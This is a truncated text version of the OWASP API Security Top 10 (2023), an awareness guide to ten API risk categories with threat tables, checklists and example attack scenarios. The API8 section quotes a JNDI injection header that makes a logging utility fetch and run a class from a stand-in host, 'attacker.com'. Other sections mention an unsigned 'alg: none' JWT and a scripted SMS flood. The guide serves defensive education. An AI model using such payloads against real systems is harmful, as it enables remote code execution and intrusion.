

OWASP API Security Top 10 - 2023 Edition

- [Notice](#)
- [Table of Contents](#)
- [About OWASP](#)
- [Foreword](#)
- [Introduction](#)
 - [Welcome to the OWASP API Security Top 10 - 2023!](#)
- [Release Notes](#)
- [API Security Risks](#)
- [OWASP Top 10 API Security Risks – 2023](#)
- [API1:2023 Broken Object Level Authorization](#)
 - [Is the API Vulnerable?](#)
- [API2:2023 Broken Authentication](#)
 - [Is the API Vulnerable?](#)
 - [Example Attack Scenarios](#)
 - [Scenario #1](#)
- [API3:2023 Broken Object Property Level Authorization](#)
 - [Is the API Vulnerable?](#)
 - [Example Attack Scenarios](#)
 - [Scenario #1](#)
- [API4:2023 Unrestricted Resource Consumption](#)
 - [Is the API Vulnerable?](#)
 - [Example Attack Scenarios](#)
 - [Scenario #1](#)
 - [Scenario #2](#)
- [API5:2023 Broken Function Level Authorization](#)
 - [Is the API Vulnerable?](#)
- [API6:2023 Unrestricted Access to Sensitive Business Flows](#)
 - [Is the API Vulnerable?](#)
 - [Example Attack Scenarios](#)
 - [Scenario #1](#)
- [API7:2023 Server Side Request Forgery](#)
 - [Is the API Vulnerable?](#)

- [Example Attack Scenarios](#)
 - [Scenario #1](#)
 - [Scenario #2](#)
- [API9:2023 Improper Inventory Management](#)
 - [Is the API Vulnerable?](#)
- [API10:2023 Unsafe Consumption of APIs](#)
 - [Is the API Vulnerable?](#)
 - [Example Attack Scenarios](#)
 - [Scenario #1](#)
- [What's Next For Developers](#)
- [What's Next For DevSecOps](#)
- [Methodology and Data](#)
 - [Overview](#)
 - [Methodology](#)
- [Acknowledgments](#)
 - [Acknowledgments to Contributors](#)

OWASP LOGO

https://owasp.org	This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License][1]	![Creative Commons Li
---	--	-----------------------

Notice

This is the text version of OWASP API Security Top 10, used as source for any official versions of this document such the web site.

Contributions to the project such as comments, corrections, or translations should be done here. For details on [How To Contribute][1], please

Table of Contents

- [Table of Contents](#)
 - [About OWASP](#)
 - [Foreword](#)
 - [Introduction](#)
 - [Release Notes](#)
 - [API Security Risks](#)
 - [OWASP Top 10 API Security Risks – 2023](#)
 - [API1:2023 Broken Object Level Authorization](#)
 - [API2:2023 Broken Authentication](#)
 - [API3:2023 Broken Object Property Level Authorization](#)
 - [API4:2023 Unrestrict
-

About OWASP

The Open Worldwide Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted.

At OWASP, you'll find free and open:

- Application security tools and standards.
- Complete books on application security testing, secure code development, and secure code review.
- Presentations and [videos][1].
- [Cheat sheets][2] on many common topics.
- Standard security controls and libraries.
- [Local chapters worldwide][3].
- Cutting edge research.
- Extensive [conferences worldwide][4].
- [Mailing lists][5] ([archive][6]).

Learn more at: [<https://www.owasp.org>][7].

All OWASP tools, documents, videos, presentations, and chapters are free and open to anyone interested in improving application security.

We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in these areas.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, and cost-effective information about application se

Foreword

A foundational element of innovation in today's app-driven world is the Application Programming Interface (API). From banks, retail, and transportation to IoT, autonomous vehicles, and smart cities, APIs are a critical part of modern mobile, SaaS, and web applications and can be found in customer-facing, partner-facing, and internal applications.

By nature, APIs expose application logic and sensitive data such as Personally Identifiable Information (PII) and because of this, APIs have increasingly become a target for attackers. Without secure APIs, rapid innovation would be impossible.

Although a broader web application security risks Top 10 still makes sense, due to their particular nature, an API-specific security risks list is required. API security focuses on strategies and solutions to understand and mitigate the unique vulnerabilities and security risks associated with APIs.

If you're familiar with the [OWASP Top 10 Project][1], then you'll notice the simi

Introduction

Welcome to the OWASP API Security Top 10 - 2023!

Welcome to the second edition of the OWASP API Security Top 10!

This awareness document was first published back in 2019. Since then, the API Security industry has flourished and become more mature. We strongly believe this work has positively contributed to it, due to it being quickly adopted as an industry reference.

APIs play a very important role in modern application architecture. But since innovation has a different pace than creating security awareness, we believe it's important to focus on creating awareness for common API security weaknesses.

The primary goal of the OWASP API Security Top 10 is to educate those involved in API development and maintenance, for example, developers, designers, architects, managers, or organizations. You can know more about the API Security Project visiting [\[the project page\]](#) [1].

If you're not familiar with the OWASP top 10 series, we recommend checking at least the following top 10 projects:

- [\[OWASP Cloud-Native Application Security Top 10\]\[2\]](#)
 - [\[OWASP Desktop App Security Top 10\]\[3\]](#)
 - [\[OWASP Docker Top 10\]\[4\]](#)
 - [\[OWASP Low-Code/No-Code Top 10\]\[5\]](#)
 - [\[O](#)
-

Release Notes

This is the second edition of the OWASP API Security Top 10 edition, exactly four years after its first release. A lot has changed in the API (security) scene. API traffic increased at a fast pace, some API protocols gained a lot more traction, many new API security vendors/solutions have popped up, and, of course, attackers have developed new skills and techniques to compromise APIs. It was about time to get the list of the ten most critical API security risks updated.

With a more mature API security industry, for the first time, there was [a public call for data][1]. Unfortunately, no data was contributed, but based on the project's team experience, careful API security specialist review, and community feedback on the release candidate, we built this new list. In the [Methodology and Data section][2], you'll find more details about how this version was built. For more details about the security risks please refer to the [API Security Risks section][3].

The OWASP API Security Top 10 2023 is a forward-looking awareness document for a fast pace industry. It does not replace other TOP 10's. In this edition:

- We've combined Excessive Data Exposure and Mass Assignment focusing on the common root cause: object property level au
-

API Security Risks

The [OWASP Risk Rating Methodology][1] was used to do the risk analysis.

The table below summarizes the terminology associated with the risk score.

Threat Agents	Exploitability	Weakness Prevalence	Weakness Detectability	Technical Impact	Business Impacts
API Specific	Easy: 3	Widespread 3	Easy 3	Severe 3	Business Specific
API Specific	Average: 2	Common 2	Average 2	Moderate 2	Business Specific
API Specific	Difficult: 1	Difficult 1	Difficult 1	Minor 1	Business Specific

Note: This approach does not take the likelihood of the threat agent into account. Nor does it account for any of the various technical details associated with your particular application. Any of these factors could significantly affect the overall likelihood of an attacker finding and exploiting a particular vulnerability. This rating does not take into account the actual impact on your business. Your organization will have to de

OWASP Top 10 API Security Risks – 2023

Risk	Description
[API1:2023 - Broken Object Level Authorization][api1]	APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface of Object Level Access Control issues. Object level authorization checks should be considered in every function that accesses a data source using an ID from the user.
[API2:2023 - Broken Authentication][api2]	Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or to exploit implementation flaws to assume other user's identities temporarily or permanently. Compromising a system's ability to identify the client/user, compromises API security overall.
[API3:2023 - Broken Object Property Level Authorization][api3]	This category combines [API3:2019 Excessive Data Exposure][1] and [API6:2019 - Mass Assignment][2], focusing on the root cause: the lack of or improper authorization validation at the object property level. This leads to information exposure or manipulation by unauthorized parties.
[API4:2023 - Unrestricted Resource Consumption][api4]	Satisfying API requests requires resources such as network bandwidth, CPU, memory, and storage. Other resources such as emails/SMS/phone calls or biometrics validation are made available by service providers via API integrations, and paid for per request. Successful attacks can lead to Denial of Service or an increase of operational costs.
[API5:2023 - Broken Function Level Authorization][api5]	Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws. By exploiting these issues, attackers can gain access to other users' resources and/or administrative functions.
[API6:2023 - Unrestricted Access]	

Risk	Description
to Sensi	

API1:2023 Broken Object Level Authorization

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Widespread : Detectability Easy	Technical Moderate : Business Specific
Attackers can exploit API endpoints that are vulnerable to broken object-level authorization by manipulating the ID of an object that is sent within the request. Object IDs can be anything from sequential integers, UUIDs, or generic strings. Regardless of the data type, they are easy to identify in the request target (path or query string parameters), request headers, or even as part of the request payload.	This issue is extremely common in API-based applications because the server component usually does not fully track the client's state, and instead, relies more on parameters like object IDs, that are sent from the client to decide which objects to access. The server response is usually enough to understand whether the request was successful.	Unauthorized access to other users' objects can result in data disclosure to unauthorized parties, data loss, or data manipulation. Under certain circumstances, unauthorized access to objects can also lead to full account takeover.

Is the API Vulnerable?

Object level authorization is an access control mechanism that is usually implemented at the code level to validate that a user can only access the objects that they should have permissions to access.

Every API endpoint that receives an ID of an object, and performs any action on the object, should implement object-level authorization checks. The checks should validate that the logged-in user has permissions to perform the requested action on the requested object.

Failures in this mechanism typically lead to unauthorized information disclosure, modification, or destruction of all data.

Comparing the user ID of the current session (e.g. by extracting it from the JWT token) with the vulnerable ID parameter isn't a sufficient solution to solve Broken Object Level Authorization (BOLA). This approach could address only a small subset of cases.

In the case of BOLA, it's by design that the user will have access to the vulnerable API endpoint/function. The violation happens at the object level, by manipulating the ID. If an attacker manages to access an API endpoint/function they should

API2:2023 Broken Authentication

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Common : Detectability Easy	Technical Severe : Business Specific
The authentication mechanism is an easy target for attackers since it's exposed to everyone. Although more advanced technical skills may be required to exploit some authentication issues, exploitation tools are generally available.	Software and security engineers' misconceptions regarding authentication boundaries and inherent implementation complexity make authentication issues prevalent. Methodologies of detecting broken authentication are available and easy to create.	Attackers can gain complete control of other users' accounts in the system, read their personal data, and perform sensitive actions on their behalf. Systems are unlikely to be able to distinguish attackers' actions from legitimate user ones.

Is the API Vulnerable?

Authentication endpoints and flows are assets that need to be protected. Additionally, "Forgot password / reset password" should be treated the same way as authentication mechanisms.

An API is vulnerable if it:

- Permits credential stuffing where the attacker uses brute force with a list of valid usernames and passwords.
- Permits attackers to perform a brute force attack on the same user account, without presenting captcha/account lockout mechanism.
- Permits weak passwords.
- Sends sensitive authentication details, such as auth tokens and passwords in the URL.
- Allows users to change their email address, current password, or do any other sensitive operations without asking for password confirmation.
- Doesn't validate the authenticity of tokens.

- Accepts unsigned/weakly signed JWT tokens ({ "alg": "none" })
- Doesn't validate the JWT expiration date.
- Uses plain text, non-encrypted, or weakly hashed passwords.
- Uses weak encryption keys.

On top of that, a microservice is vulnerable if:

- Other microservices can access it without authentication
- Uses weak or predictable tokens to enforce authentication

Example Attack Scenarios

Scenario #1

In order to perform user authentication the client has to issue an API request like the one below with the user credentials:

```
POST /graphql
{
  "query": "mutation {
    login (username: \"<username>\", password: \"<password>\") {
      token
    }
  }"
}
```

If credentials are valid, then an auth token is returned which should be provided in subsequent r

API3:2023 Broken Object Property Level Authorization

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Common : Detectability Easy	Technical Moderate : Business Specific
APIs tend to expose endpoints that return all object's properties. This is particularly valid for REST APIs. For other protocols such as GraphQL, it may require crafted requests to specify which properties should be returned. Identifying these additional properties that can be manipulated requires more effort, but there are a few automated tools available to assist in this task.	Inspecting API responses is enough to identify sensitive information in returned objects' representations. Fuzzing is usually used to identify additional (hidden) properties. Whether they can be changed is a matter of crafting an API request and analyzing the response. Side-effect analysis may be required if the target property is not returned in the API response.	Unauthorized access to private/sensitive object properties may result in data disclosure, data loss, or data corruption. Under certain circumstances, unauthorized access to object properties can lead to privilege escalation or partial/full account takeover.

Is the API Vulnerable?

When allowing a user to access an object using an API endpoint, it is important to validate that the user has access to the specific object properties they are trying to access.

An API endpoint is vulnerable if:

- The API endpoint exposes properties of an object that are considered sensitive and should not be read by the user. (previously named: “[Excessive Data Exposure][1]”)
- The API endpoint allows a user to change, add/or delete the value of a sensitive object’s property which the user should not be able to access (previously named: “[Mass Assignment][2]”)

Example Attack Scenarios

Scenario #1

A dating app allows a user to report other users for inappropriate behavior. As part of this flow, the user clicks on a “report” button, and the following API call is triggered:

```
POST /graphql
{
  "operationName": "reportUser",
  "variables": {
    "userId": 313,
    "reason": ["offensive behavior"]
  },
  "query": "mutation reportUser($userId: ID!, $reason: String!) {
    reportUser(userId: $userId, reason: $reason) {
      status
      message
      reportedUser {
        id
        fullName
        recentLocation
      }
    }
  }"
}
```

The API Endpoint is vulnerable since it allo

API4:2023 Unrestricted Resource Consumption

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Average	Prevalence Widespread : Detectability Easy	Technical Severe : Business Specific
Exploitation requires simple API requests. Multiple concurrent requests can be performed from a single local computer or by using cloud computing resources. Most of the automated tools available are designed to cause DoS via high loads of traffic, impacting APIs' service rate.	It's common to find APIs that do not limit client interactions or resource consumption. Crafted API requests, such as those including parameters that control the number of resources to be returned and performing response status/time/length analysis should allow identification of the issue. The same is valid for batched operations. Although threat agents don't have visibility over costs impact, this can be inferred based on service providers' (e.g. cloud provider) business/pricing model.	Exploitation can lead to DoS due to resource starvation, but it can also lead to operational costs increase such as those related to the infrastructure due to higher CPU demand, increasing cloud storage needs, etc.

Is the API Vulnerable?

Satisfying API requests requires resources such as network bandwidth, CPU, memory, and storage. Sometimes required resources are made available by service providers via API

integrations, and paid for per request, such as sending emails/SMS/phone calls, biometrics validation, etc.

An API is vulnerable if at least one of the following limits is missing or set inappropriately (e.g. too low/high):

- Execution timeouts
- Maximum allocable memory
- Maximum number of file descriptors
- Maximum number of processes
- Maximum upload file size
- Number of operations to perform in a single API client request (e.g. GraphQL batching)
- Number of records per page to return in a single request-response
- Third-party service providers' spending limit

Example Attack Scenarios

Scenario #1

A social network implemented a “forgot password” flow using SMS verification, enabling the user to receive a one time token via SMS in order to reset their password.

Once a user clicks on “forgot password” an API call is sent from the user’s browser to the back-end API:

```
POST /initiate_forgot_password

{
  "step": 1,
  "user_number": "6501113434"
}
```

Then, behind the scenes, an API call is sent from the back-end to a 3rd party API that takes care of the SMS delivering:

```
POST /sms/send_reset_pass_code

Host: willyo.net
```

```
{  
  "phone_number": "6501113434"  
}
```

The 3rd party provider, Willyo, charges \$0.05 per this type of call.

An attacker writes a script that sends the first API call tens of thousands of times. The back-end follows and requests Willyo to send tens of thousands of text messages, leading the company to lose thousands of dollars in a matter of minutes.

Scenario #2

A GraphQL API Endpoint allows the user to upload a profile picture.

POST /graphql

```
{  
  "query": "mutation {  
    uploadPic(name: \"pic1\", base64_pic: \"R0F0IEF0R0xJVA...\") {  
      url  
    }  
  }"  
}
```

Once the upload is comple

API5:2023 Broken Function Level Authorization

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Common : Detectability Easy	Technical Severe : Business Specific
Exploitation requires the attacker to send legitimate API calls to an API endpoint that they should not have access to as anonymous users or regular, non-privileged users. Exposed endpoints will be easily exploited.	Authorization checks for a function or resource are usually managed via configuration or code level. Implementing proper checks can be a confusing task since modern applications can contain many types of roles, groups, and complex user hierarchies (e.g. sub-users, or users with more than one role). It's easier to discover these flaws in APIs since APIs are more structured, and accessing different functions is more predictable.	Such flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack and may lead to data disclosure, data loss, or data corruption. Ultimately, it may lead to service disruption.

Is the API Vulnerable?

The best way to find broken function level authorization issues is to perform a deep analysis of the authorization mechanism while keeping in mind the user hierarchy, different roles or groups in the application, and asking the following questions:

- Can a regular user access administrative endpoints?
- Can a user perform sensitive actions (e.g. creation, modification, or deletion) that they should not have access to by simply changing the HTTP method (e.g. from `GET` to `DELETE`)?
- Can a user from group X access a function that should be exposed only to users from group Y, by simply guessing the endpoint URL and parameters (e.g. `/api/v1/users/export_all`)?

Don't assume that an API endpoint is regular or administrative only based on the URL path.

While developers might choose to expose most of the administrative endpoints under a specific relative path, like `/api/admins` , it's very common to find these administrative endpoints under other r

API6:2023 Unrestricted Access to Sensitive Business Flows

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Widespread : Detectability Average	Technical Moderate : Business Specific
Exploitation usually involves understanding the business model backed by the API, finding sensitive business flows, and automating access to these flows, causing harm to the business.	Lack of a holistic view of the API in order to fully support business requirements tends to contribute to the prevalence of this issue. Attackers manually identify what resources (e.g. endpoints) are involved in the target workflow and how they work together. If mitigation mechanisms are already in place, attackers need to find a way to bypass them.	In general technical impact is not expected. Exploitation might hurt the business in different ways, for example: prevent legitimate users from purchasing a product, or lead to inflation in the internal economy of a game.

Is the API Vulnerable?

When creating an API Endpoint, it is important to understand which business flow it exposes. Some business flows are more sensitive than others, in the sense that excessive access to them may harm the business.

Common examples of sensitive business flows and risk of excessive access associated with them:

- Purchasing a product flow - an attacker can buy all the stock of a high-demand item at once and resell for a higher price (scalping)
- Creating a comment/post flow - an attacker can spam the system
- Making a reservation - an attacker can reserve all the available time slots and prevent other users from using the system

The risk of excessive access might change between industries and businesses. For example - creation of posts by a script might be considered as a risk of spam by one social network, but encouraged by another social network.

An API Endpoint is vulnerable if it exposes a sensitive business flow, without appropriately restricting the access to it.

Example Attack Scenarios

Scenario #1

A technology company announces they are going to release a new gaming console on Thanksgiving. The product has a very high demand and the stock is limited. An attacker writes code to automatically buy the new product and complete the transaction.

On the release d

API7:2023 Server Side Request Forgery

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Common : Detectability Easy	Technical Moderate : Business Specific
Exploitation requires the attacker to find an API endpoint that accesses a URI that's provided by the client. In general, basic SSRF (when the response is returned to the attacker), is easier to exploit than Blind SSRF in which the attacker has no feedback on whether or not the attack was successful.	Modern concepts in application development encourage developers to access URIs provided by the client. Lack of or improper validation of such URIs are common issues. Regular API requests and response analysis will be required to detect the issue. When the response is not returned (Blind SSRF) detecting the vulnerability requires more effort and creativity.	Successful exploitation might lead to internal services enumeration (e.g. port scanning), information disclosure, bypassing firewalls, or other security mechanisms. In some cases, it can lead to DoS or the server being used as a proxy to hide malicious activities.

Is the API Vulnerable?

Server-Side Request Forgery (SSRF) flaws occur when an API is fetching a remote resource without validating the user-supplied URL. It enables an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall or a VPN.

Modern concepts in application development make SSRF more common and more dangerous.

More common - the following concepts encourage developers to access an external resource based on user input: Webhooks, file fetching from URLs, custom SSO, and URL previews.

More dangerous - Modern technologies like cloud providers, Kubernetes, and Docker expose management and control channels over HTTP on predictable, well-known paths. Those channels are an easy target for an SSRF attack.

It is also more challenging to limit outbound traffic from your application, because of the connected nature of modern applications.

The SSRF risk can not always be completely eliminated. While choosing a protection mechanism, it is important to consider the business risks and needs.

Example Attack Scenarios

Scenario #1

A social network allows users to upload profile pictures. The user can choose either to upload the image file from their machine, or provide the URL of the image. Choosing the second, will trigger the following API call:

```
POST /api/profi
```

```
---
```

```
<!-- SECTION: API8:2023 Security Misconfiguration -->
```

```
# API8:2023 Security Misconfiguration
```

```
| Threat agents/Attack vectors | Security Weakness | Impacts |
```

```
| - | - | - |
```

```
| API Specific : Exploitability **Easy** | Prevalence **Widespread** :
```

```
Detectability **Easy** | Technical **Severe** : Business Specific |
```

```
| Attackers will often attempt to find unpatched flaws, common endpoints, services running with insecure default configurations, or unprotected files and directories to gain unauthorized access or knowledge of the system. Most of this is public knowledge and exploits may be available. | Security misconfiguration can happen at any level of the API stack, from the network
```

level to the application level. Automated tools are available to detect and exploit misconfigurations such as unnecessary services or legacy options. | Security misconfigurations not only expose sensitive user data, but also system details that can lead to full server compromise. |

Is the API Vulnerable?

The API might be vulnerable if:

- * Appropriate security hardening is missing across any part of the API stack,
 - or if there are improperly configured permissions on cloud services
- * The latest security patches are missing, or the systems are out of date
- * Unnecessary features are enabled (e.g. HTTP verbs, logging features)
- * There are discrepancies in the way incoming requests are processed by servers
 - in the HTTP server chain
- * Transport Layer Security (TLS) is missing
- * Security or cache control directives are not sent to clients
- * A Cross-Origin Resource Sharing (CORS) policy is missing or improperly set
- * Error messages include stack traces, or expose other sensitive information

Example Attack Scenarios

Scenario #1

An API back-end server maintains an access log written by a popular third-party open-source logging utility with support for placeholder expansion and JNDI (Java Naming and Directory Interface) lookups, both enabled by default. For each request, a new entry is written to the log file with the following pattern: ``<method> <api_version>/<path> - <status_code>``.

A bad actor issues the following API request, which gets written to the access log file:

```
GET /health X-API-Version: ${jndi:ldap://attacker.com/Malicious.class} ``
```

Due to the insecure default configuration of the logging utility and a permissive network outbound policy, in order to write the corresponding entry to the access log, while expanding

the value in the `X-Api-Version` request header, the logging utility will pull and execute the `Malicious.class` object from the attacker's remote controlled server.

Scenario #2

A social network website offers a "Direct Message" feature that allows users to keep private conversations. To retrieve new messages for a specific conversation, the website issues the following API request (user interacti

API9:2023 Improper Inventory Management

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Widespread : Detectability Average	Technical Moderate : Business Specific
Threat agents usually get unauthorized access through old API versions or endpoints left running unpatched and using weaker security requirements. In some cases exploits are available. Alternatively, they may get access to sensitive data through a 3rd party with whom there's no reason to share data with.	Outdated documentation makes it more difficult to find and/or fix vulnerabilities. Lack of assets inventory and retirement strategies leads to running unpatched systems, resulting in leakage of sensitive data. It's common to find unnecessarily exposed API hosts because of modern concepts like microservices, which make applications easy to deploy and independent (e.g. cloud computing, K8S). Simple Google Dorking, DNS enumeration, or using specialized search engines for various types of servers (webcams, routers, servers, etc.) connected to the internet will be enough to discover targets.	Attackers can gain access to sensitive data, or even take over the server. Sometimes different API versions/deployments are connected to the same database with real data. Threat agents may exploit deprecated endpoints available in old API versions to get access to administrative functions or exploit known vulnerabilities.

Is the API Vulnerable?

The sprawled and connected nature of APIs and modern applications brings new challenges. It is important for organizations not only to have a good understanding and visibility of their own APIs and API endpoints, but also how the APIs are storing or sharing data with external third parties.

Running multiple versions of an API requires additional management resources from the API provider and expands the attack surface.

An API has a “documentation blindspot” if:

- The purpose of an API host is unclear, and there are no explicit answers to the following questions
 - Which environment is the API running in (e.g. production, staging, test, development)?
 - Who should have network access to the API (e.g. public, internal, partners)?
 - Which API version is running?
- There is no documentation or the existing documentation is not updated.
- There is no retirement plan for each API version.
- The host's inventory is missing or outdated.

The visibility and inventory of sensitive data flows play an important role as part of an incident response plan, in case a breach happens

API10:2023 Unsafe Consumption of APIs

Threat agents/Attack vectors	Security Weakness	Impacts
API Specific : Exploitability Easy	Prevalence Common : Detectability Average	Technical Severe : Business Specific
Exploiting this issue requires attackers to identify and potentially compromise other APIs/services the target API integrated with. Usually, this information is not publicly available or the integrated API/service is not easily exploitable.	Developers tend to trust and not verify the endpoints that interact with external or third-party APIs, relying on weaker security requirements such as those regarding transport security, authentication/authorization, and input validation and sanitization. Attackers need to identify services the target API integrates with (data sources) and, eventually, compromise them.	The impact varies according to what the target API does with pulled data. Successful exploitation may lead to sensitive information exposure to unauthorized actors, many kinds of injections, or denial of service.

Is the API Vulnerable?

Developers tend to trust data received from third-party APIs more than user input. This is especially true for APIs offered by well-known companies. Because of that, developers tend to adopt weaker security standards, for instance, in regards to input validation and sanitization.

The API might be vulnerable if:

- Interacts with other APIs over an unencrypted channel;

- Does not properly validate and sanitize data gathered from other APIs prior to processing it or passing it to downstream components;
- Blindly follows redirections;
- Does not limit the number of resources available to process third-party services responses;
- Does not implement timeouts for interactions with third-party services;

Example Attack Scenarios

Scenario #1

An API relies on a third-party service to enrich user provided business addresses. When an address is supplied to the API by the end user, it is sent to the third-party service and the returned data is then stored on a local SQL-enabled database.

B

What’s Next For Developers

The task to create and maintain secure applications, or fixing existing applications, can be difficult. It is no different for APIs.

We believe that education and awareness are key factors to writing secure software. Everything else required to accomplish the goal depends on **establishing and using repeatable security processes and standard security controls**.

OWASP provides numerous free and open resources to help you address security. Please visit the [OWASP Projects page][1] for a comprehensive list of available projects.

Education	The [Application Security Wayfinder][2] should give you a good idea about what projects are available for each stage/phase of the Software Development LifeCycle (SDLC). For hands-on learning/training you can start with [OWASP crAPI - Completely Ridiculous API][3] or [OWASP Juice Shop] [4]: both have intentionally vulnerable APIs. The [OWASP Vulnerable Web Applications Directory Project][5] provides a curated list of intentionally vulnerable applications: you'll find there several other vulnerable APIs. You can also attend [OWASP AppSec Conference][6] training sessions, or [join your local chapter][7].
Security Requirements	Security should be part of every project from the beginning. When defining requirements, it is important to define what “secure” means for that project. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)][8] as a guide for setting the security requirements. If you’re

	outsourcing, consider the [OWASP Secure Soft
--	--

What's Next For DevSecOps

Due to their importance in modern application architectures, building secure APIs is crucial. Security cannot be neglected, and it should be part of the whole development life cycle. Scanning and penetration testing yearly are no longer enough.

DevSecOps should join the development effort, facilitating continuous security testing across the entire software development life cycle. Your goal should be to enhance the development pipeline with security automation, but without impacting the speed of development.

In case of doubt, stay informed, and refer to the [DevSecOps Manifesto][1].

Understand the Threat Model	Testing priorities come from a threat model. If you don't have one, consider using [OWASP Application Security Verification Standard (ASVS)][2], and the [OWASP Testing Guide][3] as an input. Involving the development team will help to make them more security-aware.
Understand the SDLC	Join the development team to better understand the Software Development Life Cycle. Your contribution on continuous security testing should be compatible with people, processes, and tools. Everyone should agree with the process, so that there's no unnecessary friction or resistance.
Testing Strategies	Since your work should not impact the development speed,

Methodology and Data

Overview

For this list update, the OWASP API Security team used the same methodology used for the successful and well adopted 2019 list, with the addition of a 3 month [public Call for Data][1]. Unfortunately, this call for data did not result in data that would have enabled a relevant statistical analysis of the most common API security issues.

However, with a more mature API security industry capable of providing direct feedback and insights, the update process moved forward using the same methodology as before.

Arrived here, we believe to have a good forward-looking awareness document for the next three or four years, more focused on modern APIs-specific issues. The goal of this project isn't to replace other top 10 lists, but instead to cover the existing and upcoming top API security risks that we believe the industry should be aware and diligent about.

Methodology

In the first phase, publicly available data about API security incidents were collected, reviewed, and categorized. Such data were collected from bug bounty platforms and publicly available reports. Only issues reported between 2019 and 2022 were considered. This data was used to give the team a sense of in which direction the previous top 10 list should evolve as well as to help deal with possible contributed data bias.

A public [Call for Data][1] ran from September 1st and November 30th, 2022. In parallel the project team started the discussion about what has changed since 2019. The discussion included the impact of the first list, feedback received from the community, and new trends of API security.

The project team promoted meetings with specialists on relevant API security threats t

Acknowledgments

Acknowledgments to Contributors

We'd like to thank the following contributors who contributed publicly on GitHub, or via other means:

247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, Ilegaz, Maxim Zavodchik, MrPRoger